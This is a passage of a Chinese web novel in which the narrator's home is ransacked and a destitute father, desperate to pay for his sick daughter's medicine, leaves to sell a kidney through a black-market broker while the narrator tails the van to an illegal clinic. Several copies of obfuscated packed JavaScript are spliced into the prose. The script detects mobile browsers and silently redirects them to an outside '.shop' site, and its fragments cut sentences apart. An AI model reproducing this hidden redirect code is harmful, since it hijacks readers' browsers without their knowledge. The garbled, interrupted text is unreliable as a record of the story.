d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016448|194201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机不见了!我明明把它藏在了箱子最底层,用旧衣服盖着的! 冷汗瞬间湿透了我的后背。他们拿走了手机!那部藏着录音和照片的、关键的旧手机! 那么钥匙呢?那把从铁盒里找到的、不知用途的黄铜钥匙?我慌忙摸向自己牛仔裤的内侧口袋,那里有一个我自己缝上去的、隐藏的小袋。指尖触碰到一个冰冷坚硬的物体。 还在。钥匙还在。 他们搜遍了整个屋子,翻箱倒柜,甚至划开了枕头,却没有搜身?或者,他们知道钥匙的存在,但故意没有拿走?又或者……他们根本不在乎这把钥匙,他们的目标很明确,就是顾远的手机,那个储存着直接证据的东西? 混乱的思绪像一团乱麻。但有一点是确定的:我已经被彻底拖入了漩涡中心。他们不再只是警告,不再只是监视,他们已经开始采取直接的、粗暴的行动。他们闯入我的家,像对待一堆垃圾一样对待我的一切,夺走了可能对他们构成威胁的证据。 我缓缓直起身,环顾着这个已经不能称之为“家”的地方。这里不再是一个可以让我暂时躲避外界风雨的壳,它本身已经成为了风暴的一部分,一个被暴力洗礼过、充满了威胁和屈辱的废墟。 一种巨大的、难以言喻的疲惫和荒谬感,如同沉重的淤泥,从脚底漫延上来,淹没了我。 我失去了工作,失去了朋友,失去了尊严,现在,连这最后一个勉强可以容身的、狗窝一样的角落,也失去了。 我扯动嘴角,想笑,喉咙里却只发出一种类似哽咽的、干涩嘶哑的声音。脸上和膝盖的伤口还在隐隐作痛,提醒着我刚才在“夜泊”后巷的遭遇。而现在,回到这个所谓的“家”,面对的却是更加彻底、更加冰冷的毁灭。 没有愤怒的咆哮,没有恐惧的尖叫,甚至没有一滴眼泪。只有一种深入骨髓的、死寂般的麻木。 我走到那扇被撬坏的门前,看着那崩裂的门框和歪斜的锁。这门,已经失去了它最基本的功能。它无法再保护什么,也无法再隔绝什么。我和外面那个充满恶意和危险的世界,只隔着一扇形同虚设的、破败的门板。 我背靠着冰冷、斑驳的墙壁,身体慢慢滑落,最终瘫坐在满地狼藉之中。屁股下面压着不知道是照片还是废纸。 我就这样坐着,一动不动。窗外,城中村的喧嚣依旧——孩子的哭闹,夫妻的争吵,麻将牌的碰撞,电视机的嘈杂……这些曾经让我烦躁的声音,此刻听起来却无比遥远,仿佛来自另一个世界。 这个世界,没有给我留下任何余地。它用最直接、最粗暴的方式告诉我:你无处可逃。连个安稳的狗窝,都没了。 我闭上眼睛,将头埋进膝盖。黑暗中,只有那个被踩碎的相机镜头,和这片被彻底摧毁的、名为“家”的废墟,在眼前反复闪现。 12. 更深的深渊 我在那间被彻底摧毁的出租屋里,不知坐了多久。时间失去了意义,只有窗外城中村永恒的、作为背景噪音的喧嚣,提醒着我这个肮脏破碎的世界仍在运转。身体的疼痛,脸颊和膝盖的擦伤,后腰被保安膝顶的闷痛与心灵的麻木交织在一起,形成一种奇特的、近乎麻痹的平静。 最终,驱使我从满地狼藉中站起身的,并非勇气,也非愤怒,而是一种更原始的本能——我需要一个地方待着。一个至少暂时能遮风挡雨、能让我蜷缩起来、不会被随时闯入的角落。我的“家”已经没了,被那只看不见的、戴着丝绒手套的铁手轻易碾碎。酒店?我口袋里的钱连最廉价的钟点房都住不起一夜。朋友?顾远死后,我早已没有所谓的朋友。家人?遥远的、无法言说的另一个世界。 我想到了老金。那个在防空洞外捡废品、为了五十块钱的“宝贝”而欣喜、为了女儿的药费而卖血被拒的老人。他那佝偻鞠躬的身影,他那混合着泪水与荒诞的讲述,此刻竟然成了我脑海中唯一一个……或许能暂时收留我的模糊影像。不是因为交情,而是因为同病相怜?不,或许更不堪,是因为我潜意识里觉得,他所在的深渊,可能比我现在所处的这个,暂时……“安全”那么一点点?至少,那些穿着西装、手段狠辣的人,他们的目光大概不会投向那种连垃圾都不如的角落。 这个念头本身,就充满了令人作呕的卑劣和利用。但我别无选择。 我挣扎着起身,在废墟里翻找。相机是彻底坏了,镜头碎裂,机身也有凹痕。我把它扔在原地,它已经完成了它作为“闯入凭证”的使命,现在只是一堆真正的垃圾。我从散落的衣物里捡起一件相对干净、只是沾了些灰尘的旧外套换上,遮住了身上的污迹。然后,我将那把依旧冰凉的黄铜钥匙,再次小心翼翼地塞回牛仔裤内侧的暗袋。这是我仅剩的、不知有何用处的筹码。 看了一眼那扇再也关不拢的、歪斜的门,我走了出去,没有回头。下楼,发动那辆破捷达,引擎的嘶吼声在狭窄的巷道里显得格外刺耳。 老金住在另一个城中村,比我所住的更加偏远,更加破败,几乎是这座城市被遗忘的、溃烂的边缘。车子驶离相对“繁华”的城区,周围的景象逐渐荒凉。低矮、密集的握手楼被更加杂乱无章的、仿佛随时会倒塌的砖混结构棚户取代。路面坑洼不平,污水横流,空气中弥漫着一种混合了垃圾堆发酵、劣质煤烟和某种化学试剂的刺鼻气味。这里与其说是城市的一部分,不如说是依附在城市巨兽身躯上的、一块流着脓液的癞疮。 我凭着记忆中老金含糊提到的地名,以及一种近乎本能的、对贫瘠和绝望气息的嗅觉,将车停在了一片如同迷宫般的棚户区边缘。再往里,车子根本无法通行。 下车,脚踩在泥泞和垃圾混合的地面上。几个穿着肮脏、眼神空洞的孩子在巷口追逐打闹,看到我这个陌生人,停下动作,用麻木而好奇的目光盯着我。几个老人坐在自家门前的破凳子上,眼神浑浊地望着灰蒙蒙的天空,像一尊尊被时光遗忘的雕像。这里的一切都缓慢、粘滞,充满了被生活榨干后的死气。 我问了一个蹲在门口洗菜的中年妇女,是否知道一个叫金卫国的、捡废品的老人住哪里。她抬起头,用围裙擦着手,打量了我一番,眼神里带着一丝不易察觉的怜悯和……或许是同病相怜?她指了一个方向:“往里走,最里面那排,墙塌了半截那家就是。门口堆着不少瓶瓶罐罐的那个。” 道了声谢,我沿着她所指的方向,深一脚浅一脚地往里走。巷道狭窄得仅容一人通过,两侧的墙壁斑驳陆离,糊着各种小广告和不堪入目的涂鸦。头顶是密密麻麻、纵横交错的电线和晾衣绳,挂着的破旧衣物像垂死的旗帜。每扇门后,似乎都隐藏着一个沉重的、不忍卒读的故事。 终于,我看到了那处“墙塌了半截”的房子。与其说是房子,不如说是一个用砖头、木板和石棉瓦勉强拼凑起来的窝棚。低矮,歪斜,墙体一侧确实坍塌了大半,用一块巨大的、肮脏的塑料布遮挡着,在微风中发出哗啦的响声。门口,如同那妇女所说,堆满了分类捆扎好的废纸壳、塑料瓶和一些锈蚀的金属件,像一座座象征着贫困的小小坟茔。 空气中弥漫着比外面更加浓重的、垃圾特有的酸腐气味。 我站在那扇用破木板钉成的、甚至无法称之为“门”的入口前,犹豫了一下。里面传来一阵压抑的、轻微的咳嗽声。 我抬手,敲了敲那扇薄薄的木板门。里面安静了一瞬,然后传来老金那沙哑而警惕的声音:“谁啊?” “是我,老金。”我应道,声音有些干涩,“山上……防空洞那边,遇到的那个。” 里面传来一阵窸窣的响动,然后是脚步声。木板门被从里面拉开一条缝,老金那张布满皱纹、写满疲惫的脸露了出来。他看到我,先是愣了一下,随即浑浊的眼睛里闪过一丝惊讶,然后是……一种受宠若惊般的、手足无措的热情。 “哎呦!是……是你啊!同志!你怎么找到这儿来了?”他连忙把门完全拉开,侧身让开,“快!快请进!屋里……屋里乱,你别嫌弃!” 他伸出手,几乎是把我拉了进去。 踏入屋内的瞬间,一股更加复杂、更加令人窒息的气味扑面而来。霉味、汗味、药味、还有一股淡淡的、类似于……伤口腐烂的甜腥气,混合在一起,形成一种粘稠的、仿佛能附着在皮肤上的污浊空气。光线极其昏暗,只有从坍塌墙壁处用塑料布遮挡的缝隙里,透进来几缕微弱的天光,以及角落里一盏大概只有五瓦的白炽灯发出的、昏黄如豆的光芒。 我花了几秒钟,才勉强适应了这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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但,与这病弱的身体形成鲜明对比的,是她的眼睛。那是一双极大、极黑的眼睛,因为瘦削而显得格外突出。此刻,这双眼睛正一眨不眨地看着我,这个突然闯入的陌生人。眼睛里没有害怕,没有好奇,只有一种……异常的平静,和一种仿佛看透了什么的、不属于她这个年龄的澄澈。那眼神很亮,像两颗被苦难磨砺过的、浸在寒水里的黑曜石,在这昏暗、污浊的房间里,闪烁着一种令人心碎的光芒。 老金搓着手,有些局促不安地看着我,又看看女儿,脸上堆着讨好的、卑微的笑容:“贝贝,叫叔叔……这是……这是帮过爸爸的好心人……” 小女孩依旧静静地看着我,没有说话,只是那双过于明亮的眼睛,微微眨动了一下。 我站在这个比狗窝还不如的、散发着疾病和贫困气息的狭小空间里,看着床上那个奄奄一息的孩子,看着旁边佝偻着腰、脸上带着卑微笑容的老金,感觉自己象是闯入了某个被世界遗忘的、正在缓慢死亡的生命现场。 我那点自怨自艾的痛苦,我那被闯入家门的愤怒和恐惧,在此刻,显得那么……矫情,那么微不足道。 真正的深渊,原来在这里。它不在“夜泊”那奢华的卡座里,也不在我那被翻得底朝天的出租屋里,而就在这儿,在这个用塑料布挡风、用砖头垫桌腿、被病魔和贫困双重诅咒的、不到十平米的洞穴里。 无声,却震耳欲聋。 13. 老金的“肾” 金贝贝那双过于明亮、过于平静的眼睛,像两面冰冷的镜子,映照出我此刻的狼狈与这屋宇内深不见底的苦难。我站在门口,几乎要被那混合着霉味、药味和隐约腐烂气息的空气熏得倒退一步。老金则局促地搓着手,脸上堆着那种混合着感激、羞赧和一丝因我这“外人”闯入而愈发明显的卑微。 “同志……你,你坐,坐……”他慌乱地环顾四周,想给我找个能坐的地方,但这狭小空间里,除了那张充当床铺的木板和垫着砖头的破箱子,再无他物。他最终只好尴尬地指了指那个木箱,“要不……坐这儿?我给您擦擦!”说着就要用他那件脏得发亮的工装袖子去擦拭箱面上的灰尘。 “不用了,老金。”我阻止了他,声音有些沙哑。我的目光无法从床上的贝贝身上移开。她依旧安静地看着我,那双黑曜石般的眼睛仿佛能穿透皮囊,直视我内心那点可悲的慌乱和无处安放的怜悯。“孩子……一直这样?” 老金脸上的卑微笑容瞬间垮塌,被一种更深沉的、刻入骨髓的忧愁取代。他佝偻着背,走到床边,用那双布满老茧和污垢的手,极其轻柔地替贝贝掖了掖被角,动作小心翼翼,仿佛在触碰一件稀世珍宝。 “唉……时好时坏。”他叹了口气,那叹息声沉重得像拉不动的老风箱,“好的时候,能坐起来喝点粥,说两句话。不好的时候,就像现在这样,躺着都喘不上气……药不能停,一停就……”他没再说下去,只是摇了摇头,浑浊的眼睛里蒙上了一层水汽。 他从那个破木箱底下,摸索着拿出一个小布包,层层打开,里面是几张叠得整整齐齐的纸。他颤抖着将其中的一张递给我。 那是一张医院的诊断证明和费用清单。诊断证明上写着冗长而冰冷的医学名词,我只勉强认出“造血功能障碍”、“先天性”等字样。而那张费用清单则更加触目惊心——各种检查费、化验费、最刺眼的是那一长串进口药品的名称和后面跟着的天文数字。一个月,仅仅是最基础的药物维持,就需要将近五千块。这还不包括定期复查、可能的输血和住院费用。 五千块。对老金来说,这意味着他需要捡多少废品?需要找到多少个价值五十元的“宝贝”收音机?需要被医院拒绝卖血多少次? 我捏着那张轻飘飘却重若千钧的纸,指尖冰凉。任何语言在此刻都显得苍白。安慰是虚伪的,鼓励是残忍的。我甚至无法像对待顾远的谜团那样,生出一种要去“调查”、“揭露”的冲动。眼前的苦难是如此赤裸,如此庞大,如此……无解。它像一座由冰冷现实砌成的巨山,横亘在那里,沉默地碾压着一切试图反抗的意念。 老金看着我脸上的凝重,似乎误解了什么。他慌忙把那张纸收回去,像藏起什么见不得人的东西,脸上重新挤出那种讨好的、带着一丝急切的笑容。 “不过……同志,你别担心!快了!就快有办法了!”他的声音突然提高了一些,带着一种异样的、近乎亢奋的光彩,与他刚才的死气沉沉判若两人。那双浑浊的眼睛里,竟然重新燃起了两簇微弱却执拗的火苗。 我愣了一下,看着他突然焕发的“神采”,心里非但没有感到轻松,反而陡然升起一股极其不祥的预感。在这种绝境里,能让人突然看到“希望”的,往往不是救赎,而是更深的地狱。 “什么办法?”我下意识地追问,声音带着自己都未察觉的紧绷。 老金警惕地看了一眼床上的贝贝,见她依旧安静地睁着眼睛,似乎没有留意我们的对话,这才凑近我一些,压低了声音,脸上带着一种分享秘密般的、混杂着兴奋与忐忑的神情。 “我……我找到个门路!”他神秘兮兮地说,嘴唇因为激动而微微颤抖,“能……能一下子弄到三十万!” 三十万。这个数字像一道惊雷,在这狭小、污浊的空间里炸响。 我瞳孔骤缩,心脏猛地一沉。三十万?对他这样一个挣扎在温饱线上的拾荒老人来说,这根本是一个不存在的数字。除了违法犯罪,或者……一个极其黑暗、极其可怕的念头,如同毒蛇般瞬间窜入我的脑海。 “什么门路?”我的声音干涩得厉害。 老金舔了舔干裂的嘴唇,眼神闪烁着,既有对那笔巨款的渴望,也有一丝本能的恐惧,但前者显然压倒了一切。 “有……有个中介,”他声音更低了,几乎象是在耳语,“说可以带我去……去‘捐’个肾。” 尽管有所预感,但亲耳听到这两个字从他嘴里说出来,我还是感到一股寒意从脚底直冲天灵盖!浑身的血液仿佛瞬间凝固了。 那个所谓的“黑中介”,那些游荡在城市最阴暗角落、专门吸食穷人血肉的蛆虫!他们利用绝症患者家属的绝望,用看似“公平交易”的幌子,行的是摘取器官、牟取暴利的罪恶勾当!且不说这种交易本身的非法性和巨大的健康风险,光是那些中介,十个里有十个是骗子!他们要么在手术前卷款跑路,要么在手术后用远低于承诺的价格打发,甚至可能是在根本不符合卫生条件的黑诊所进行手术,术后感染、残疾、乃至直接死在手术台上的例子比比皆是! 老金他……他竟然相信这个?! “老金!你疯了?!”我失声低吼,因为激动,声音都变了调,“那是骗局!是卖器官的黑中介!他们的话根本不能信!你会被骗的!而且就算成了,少了一个肾,你以后怎么办?你怎么照顾贝贝?!” 我的反应似乎刺痛了他。他脸上那点兴奋的光彩迅速褪去,取而代之的是一种被质疑、被冒犯后的激动和固执。 “不会的!他们说了,是正规渠道!是……是给有钱人配型的!手续都齐全!”他争辩道,语气急切,象是在说服我,更象是在说服他自己,“三十万啊!同志!三十万!够贝贝做好几个疗程了!能买最好的药!说不定……说不定就能治好了!” 他的眼睛里闪烁着一种近乎狂热的、孤注一掷的光芒。那三十万,在他眼中已经不再是钱,而是女儿活下去的唯一稻草,是他作为一个父亲,所能付出的、最后也是最惨烈的代价。 “正规渠道?手续齐全?”我气得几乎要笑出来,那笑声却比哭还难听,“老金!你醒醒!真要是正规的器官捐献,怎么可能通过这种中介来找你?怎么可能给你三十万?那是犯罪!是拿你的命在开玩笑!你想想,想想你卖血的时候他们是怎么对你的?他们连你的血都嫌脏!现在会这么好心来帮你?!” 我试图用最残酷的现实敲醒他。卖血被拒的经历,应该能让他看清这些所谓“门路”的真相。 然而,我错了。极度绝望中的人,会本能地抓住任何一丝看似的光亮,哪怕那光亮来自地狱之火。我的劝阻,在他听来,不再是善意的提醒,而是阻挠他拯救女儿的、冷酷的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016450|194201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指责。 他的脸涨红了,脖子上青筋暴起,呼吸变得粗重。他猛地站起身,因为动作过猛而晃了一下,那双浑浊的眼睛死死地瞪着我,里面充满了血丝和一种被逼到绝境的、野兽般的愤怒。 “你懂什么?!你这种人懂什么?!”他朝着我低吼,声音嘶哑,却带着一种撕裂般的力度,“你们这些人!穿得干干净净的,站在干岸上,当然可以说风凉话!什么骗局!什么犯罪!我知道有风险!我当然知道!” 他的声音带着哭腔,却又异常凶狠:“可我能怎么办?!你告诉我我能怎么办?!眼睁睁看着贝贝死吗?!看着她喘不上气,看着她疼得浑身发抖,看着她一天天瘦下去,看着我连给她买止痛药的钱都凑不齐?!” 他挥舞着那双干枯的手臂,指向床上安静得可怕的贝贝,指向这间破败不堪的棚屋,指向窗外那片灰暗的天空。 “我等不了了!医院等不了!贝贝等不了了!!除了我这一身老骨头,我还有什么能拿出去换钱的?!啊?!你告诉我!!” 他一步步逼近我,唾沫星子几乎溅到我的脸上,那浓重的、属于贫穷和绝望的气息,几乎让我窒息。 “你体会过看着亲人等死的感觉吗?!你体会过吗?!!”最后这一句,他几乎是用了全身的力气吼出来的。声音在这狭小的空间里撞击、回荡,震得那盏五瓦的灯泡似乎都在晃动。 床上,一直安静躺着的贝贝,似乎被这吼声惊吓到,极其轻微地瑟缩了一下,那双过于明亮的眼睛里,瞬间蒙上了一层恐惧的水光,但她依旧没有哭,也没有出声,只是那样静静地看着,看着她的父亲,像一头濒死的小兽。 我僵在原地,如同被一道闪电劈中。老金的每一句话,每一个字,都像一把烧红的烙铁,狠狠烙在我的灵魂上。 “你体会过看着亲人等死的感觉吗?” 顾远从高楼坠落时,我是否正在某个酒吧买醉,或者在那间出租屋里对着破相机发呆?我是否体会过那种看着挚友走向毁灭却无能为力的感觉? 有的。虽然不同,但那锥心之痛,我并非完全无知。 然而,此刻面对老金这源自最原始父爱、却被现实扭曲成的疯狂与绝望,我所有理性的、基于逻辑的劝阻,都显得那么苍白,那么高高在上,那么……“站着说话不腰疼”。 我看着他那张因为激动和痛苦而扭曲的脸,看着他那双布满血丝、几乎要瞪出眼眶的眼睛,看着他身后床上那个奄奄一息、眼神恐惧的孩子…… 我所有的话,都堵在了喉咙里。我知道,我阻止不了他。就像我阻止不了顾远去触碰那个“不能动的账本”,就像我阻止不了那只无形的巨手将我拖入这无尽的漩涡。 在这个操蛋的世界里,善意和理性,在绝境的疯狂面前,不堪一击。 老金吼完之后,像一只被抽空了所有气力的破麻袋,踉跄着后退两步,颓然坐倒在那个垫着砖头的破木箱上,双手捂住脸,压抑的、如同受伤野兽般的呜咽声,从他指缝间断断续续地漏了出来。 棚屋里,只剩下他痛苦的呜咽,贝贝细微而艰难的呼吸声,以及我那颗在胸腔里疯狂跳动、却充满无尽凉意的心脏。 那三十万,像一道散发着血腥气的诱饵,悬挂在深渊之上。老金,已经义无反顾地,朝着那诱饵,迈出了走向自我毁灭的第一步。 14. 操蛋的命运 老金那声撕裂般的怒吼——“你体会过看着亲人等死的感觉吗?!”——像一颗投入死水潭的巨石,在我空洞的胸腔里激起的不是涟漪,而是足以将人溺毙的、冰冷粘稠的漩涡。它不仅仅是一个质问,更象是一把生锈的、却足够锋利的凿子,狠狠凿开了我试图用理性与犬儒包裹的外壳,露出了里面同样鲜血淋漓、同样不堪一击的软弱内核。 我僵立在原地,如同被无形的冰霜冻结。棚屋内污浊的空气仿佛凝固成了实体,沉重地压迫着我的肺叶,每一次呼吸都带着灼痛般的艰难。老金颓然坐在木箱上,双手依旧死死捂着脸,压抑的、从喉咙深处挤出的呜咽声,像受伤野兽临终前的哀鸣,断断续续,却比任何嚎啕大哭都更令人心碎。床上,金贝贝那双过于明亮的黑眼睛,在我们两人之间缓缓移动,最终定格在她父亲剧烈颤抖的脊背上,那眼神里没有孩童应有的恐惧或疑惑,只有一种早熟的、深不见底的悲凉和……认命般的平静。 她甚至微微抬起枯瘦的小手,似乎想够到她的父亲,给予一丝微不足道的安慰,但最终只是无力地垂下,重新隐没在那床破旧肮脏的被褥里。 这一幕,像一把烧红的匕首,狠狠剜刮着我的神经。 我凭什么?是啊,我他妈凭什么?凭我读过几本书?凭我摆弄过几天相机,窥见过一点这世界的阴暗角落?凭我住在一个虽然破败但至少不漏雨、有张像样床铺的出租屋?还是凭我那点可怜巴巴、连下个月房租都付不起的“自由”? 我有什么资格,站在所谓的“理性”高地上,去否定一个父亲在无边黑暗中看到的、哪怕是海市蜃楼般的最后一线微光?我有什么权利,用我那套基于概率、风险、法律条文的冰冷逻辑,去扼杀他燃烧自己、换取女儿一线生机的、最原始也最惨烈的本能? 阻止他,然后呢?看着他女儿因为断药而在痛苦中一点点耗尽生命?看着他被愧疚和无力感彻底吞噬,变成一具真正的行尸走肉?然后我就可以心安理得地离开,继续我那自顾不暇的烂泥生活,偶尔在深夜被噩梦惊醒时,感叹一句“唉,真是个悲剧”? 不。我做不到。不是因为高尚,而是因为……懦弱。我害怕承担“阻止”之后可能带来的、更加沉重的道德枷锁。我害怕亲眼见证一个生命因为我的“正确”劝阻而消逝。在这种极致的苦难面前,理性本身就是一种奢侈,一种残忍的奢侈。 我的劝阻,我的所谓“见识”,在此刻,不仅廉价,而且虚伪得令人作呕。 一股巨大的、混合着无力、羞愧和某种近乎自我憎恶的情绪,像浓稠的沥青,包裹了我,让我动弹不得。我张了张嘴,喉咙里却象是塞满了粗糙的沙砾,发不出任何声音。 最终,所有的语言,所有的争辩,都化作了一声近乎叹息的、沉重的沉默。 我缓缓地、极其艰难地,也坐了下来,就坐在冰冷潮湿的泥土地上,背靠着那面布满霉斑的砖墙。我没有再看老金,也没有再看贝贝。目光空洞地投向那扇用塑料布遮挡的、坍塌的墙壁缝隙,外面是城中村永恒的黑夜,看不到一丝星光。 老金的呜咽声渐渐低了下去,变成了疲惫的、粗重的喘息。棚屋里陷入了一种死寂般的沉默,只有贝贝那细微而艰难的呼吸声,像一根即将断裂的蛛丝,悬在每个人的心头。 时间在粘滞的绝望中缓慢流淌。 不知过了多久,也许是半小时,也许是一小时。老金慢慢放下了捂着脸的手。他的脸上泪痕纵横,眼睛红肿,但那种激动的、野兽般的愤怒已经褪去,取而代之的是一种更加可怕的、死水般的平静,一种……做出了最终决定的麻木。 他站起身,没有看我,也没有看贝贝,只是默默地开始收拾东西。其实也没什么可收拾的。他从那个破木箱里拿出一个洗得发白的、印着模糊“安全生产”字样的旧布包,仔细地将那张皱巴巴的医院诊断书和费用清单叠好,塞了进去。然后,他走到床边,俯下身,用极其轻柔的、近乎虔诚的动作,摸了摸贝贝的额头。 “贝贝乖……爸爸出去一趟……很快就回来……”他的声音沙哑得厉害,带着一种刻意压抑的颤抖,“你好好睡觉……等爸爸回来,就有钱……有钱给你买最好的药了……” 贝贝依旧睁着那双黑亮的眼睛,静静地看着他,没有任何回应,仿佛早已洞悉了一切。 老金直起身,深吸了一口气,仿佛要将这棚屋里所有的苦难和污浊都吸入肺中,然后毅然决然地、头也不回地走向那扇破木板门。 在他拉开门,即将融入外面夜色的一刹那,我猛地抬起头。 他的背影,在昏暗的光线下,显得那么瘦小,那么佝偻,却又带着一种奔赴刑场般的、令人心悸的决绝。 我不能……我不能就这样看着……一种说不清是责任感的驱使,还是纯粹出于一种病态的、想要亲眼见证这悲剧最终幕的冲动,让我猛地从地上弹了起来。 “老金!”我低喊了一声。他的脚步顿住了,但没有回头。 “我……”我喉咙发紧,后面的话怎么也说不出口。我能说什么?“我跟你一起去”?不,那只会让事情更糟。“你再考虑考虑”?那更是毫无意义的废话。 最终,我只是嘶哑地说:“……小心点。” 老金的肩膀几不可察地抖动了一下,依旧没有回头,只是含糊地“嗯”了一声,然后便迅速拉开门,闪身出去,消失在了门外浓重的夜色里。 门板在他身后轻轻晃动,发出吱呀的声响。 我没有丝毫犹豫,立刻跟了上去。轻轻拉开门,侧身而出,再将门虚掩上。冰冷的夜风瞬间包裹了我,让我打了个寒颤。 老金的身影在前方狭窄、昏暗的巷道里快速移动着, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016451|194201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他走得很急,仿佛生怕自己会后悔。我借着巷道两侧窗户里透出的零星灯光和杂物堆的阴影,小心翼翼地跟在后面,保持着一段距离。心脏在胸腔里狂跳,不是因为跟踪的紧张,而是因为一种即将目睹某种可怕仪式进行的、冰冷的预感。 我们一前一后,像两个幽灵,穿梭在迷宫般的棚户区。污水横流的地面反射着微弱的光,角落里传来野狗翻找垃圾的窸窣声。这里的夜晚,比白天更加死寂,也更加危险。 走了大约十几分钟,来到了棚户区的边缘,靠近一条废弃的铁路支线。这里更加荒凉,几乎没有灯光,只有远处城市中心方向映来的、模糊的光污染,将天空染成一种诡异的暗红色。 一辆破旧不堪、漆面剥落、连车牌都糊满了泥巴几乎无法辨认的银灰色面包车,像一头蛰伏的野兽,静静停在铁路旁的空地上。 老金在距离面包车几米远的地方停下了脚步,似乎有些犹豫。他回头望了一眼来路——我迅速隐入一个废弃的砖垛后面——然后,他象是下定了最后的决心,快步走向面包车。 面包车的侧滑门“哗啦”一声被从里面拉开,一道手电筒的光柱扫了出来,在他脸上晃了一下。光线中,可以看到车里似乎已经坐了几个人影,影影绰绰。 一个压低的、不耐烦的男人声音传来:“磨蹭什么?快上车!” 老金没有再迟疑,弯腰钻进了车里。 “哗啦——”车门被迅速拉上。紧接着,面包车发动了,发动机发出沉闷而有力的轰鸣,与它破旧的外表格格不入。尾灯亮起,像两滴猩红的血珠。车子掉了个头,没有开灯,沿着坑洼不平的土路,朝着更加偏僻、更加黑暗的郊区方向驶去。 我从砖垛后冲了出来,眼睁睁看着那辆面包车的尾灯在黑暗中越来越远,像一颗坠向地狱的流星。 没有时间多想,我拔腿就朝着我停放在棚户区边缘的破捷达狂奔。肺叶像要炸开,冷风灌入口腔,带着铁锈味。脑海中只有一个念头:跟上它!跟上它! 冲到破捷达旁,我手忙脚乱地拉开车门,插进钥匙,疯狂拧动。引擎发出一阵嘶哑的抗议,终于颤抖着启动。我猛地挂上档,踩下油门,轮胎在泥地上打滑,溅起一片泥浆,然后车子如同离弦之箭般蹿了出去,朝着面包车消失的方向追去。 我不能阻止他。我知道。 但我必须知道,他走向的,究竟是一个怎样的结局。 是骗局?是黑诊所?还是……更糟的地方? 这辆破旧的面包车,载着一个父亲最后的希望和一副即将被剥夺的器官,正驶向城市地图上最肮脏、最不见光的角落。 而我,这个无力的、可悲的旁观者,只能驾驶着同样破旧的车,远远地跟在后面,像一条被遗弃的野狗,追逐着一场注定血腥的盛宴。夜色,浓稠如墨。前路,一片漆黑。 15. 我报了警 破捷达在坑洼不平的郊区土路上颠簸前行,像一艘在惊涛骇浪中挣扎的破船。我死死盯着前方那两点若隐若现的、如同鬼火般的面包车尾灯,双手因为用力握住方向盘而指节发白。心脏在胸腔里疯狂擂动,不是因为追逐的紧张,而是因为一种冰冷的、不断蔓延的恐惧预感。 那辆破旧面包车所驶向的,绝非善地。 车窗外的景色越来越荒凉。废弃的厂房像巨大的、沉默的骷髅骨架,在惨淡的月光下投下狰狞的阴影。杂草丛生,几乎淹没了道路。空气中弥漫着工业废料和什么东西腐败的刺鼻气味。这里是被城市飞速发展的车轮无情碾过、然后遗弃的角落,是阳光照不到的糜烂伤疤,是各种肮脏交易滋生的温床。 面包车最终在一个挂着破烂不堪、字迹模糊的“综合门诊”牌子的、由废弃仓库改造的建筑前停了下来。牌子歪斜着,仿佛随时会掉落。建筑墙体斑驳,窗户大多破损,用木板或塑料布胡乱钉着。只有门口一盏功率极低、昏黄如豆的白炽灯,在夜风中摇曳,投下晃动不安的光晕,更添几分鬼气森森。 这就是所谓的“私人诊所”?这分明是一个屠宰场!一个专门收割穷人血肉和希望的黑店! 我看到面包车侧门拉开,那个不耐烦的男人先跳下车,警惕地四下张望。然后,他粗暴地将老金从车里拽了出来。老金踉跄了一下,几乎摔倒,他佝偻的背影在昏黄的灯光下显得更加瘦小、无助。他回头看了一眼面包车,似乎还想说什么,却被那个男人推搡着,踉踉跄跄地走向那扇如同怪兽巨口般的、黑洞洞的诊所大门。 另外两个模糊的人影也从车上下来,跟在后面。 大门“吱嘎”一声被推开,然后又沉重地关上,将老金和那点微弱的、用自我毁灭换取的“希望”,一同吞没进了那片未知的、充满消毒水与血腥气的黑暗之中。 面包车没有离开,就停在不远处,发动机熄了火,像一头假寐的、等待着餍足的野兽。 我将破捷达熄火,停在距离诊所百米开外的一个废弃料堆后面,隐藏在更深的阴影里。车内,只剩下我粗重的喘息声和血液冲上头顶的嗡嗡声。 怎么办?冲进去?我只有一个人,对方至少有三个,而且里面情况不明。无异于以卵击石,不仅救不了老金,很可能把自己也搭进去。顾远的死,我出租屋的被撬,“夜泊”的羞辱……这一切都清晰地告诉我,与这些阴影中的势力正面冲突,下场只会比老金更惨。 难道就这样眼睁睁看着?看着一个活生生的人,一个绝望的父亲,在里面被切开身体,取走器官,然后像扔垃圾一样被丢出来?看着他用生命和健康换来的,很可能只是一场彻头彻尾的骗局? 巨大的无力感和愤怒像两条毒蛇,缠绕着我的脖颈,越收越紧。 不行!不能就这样! 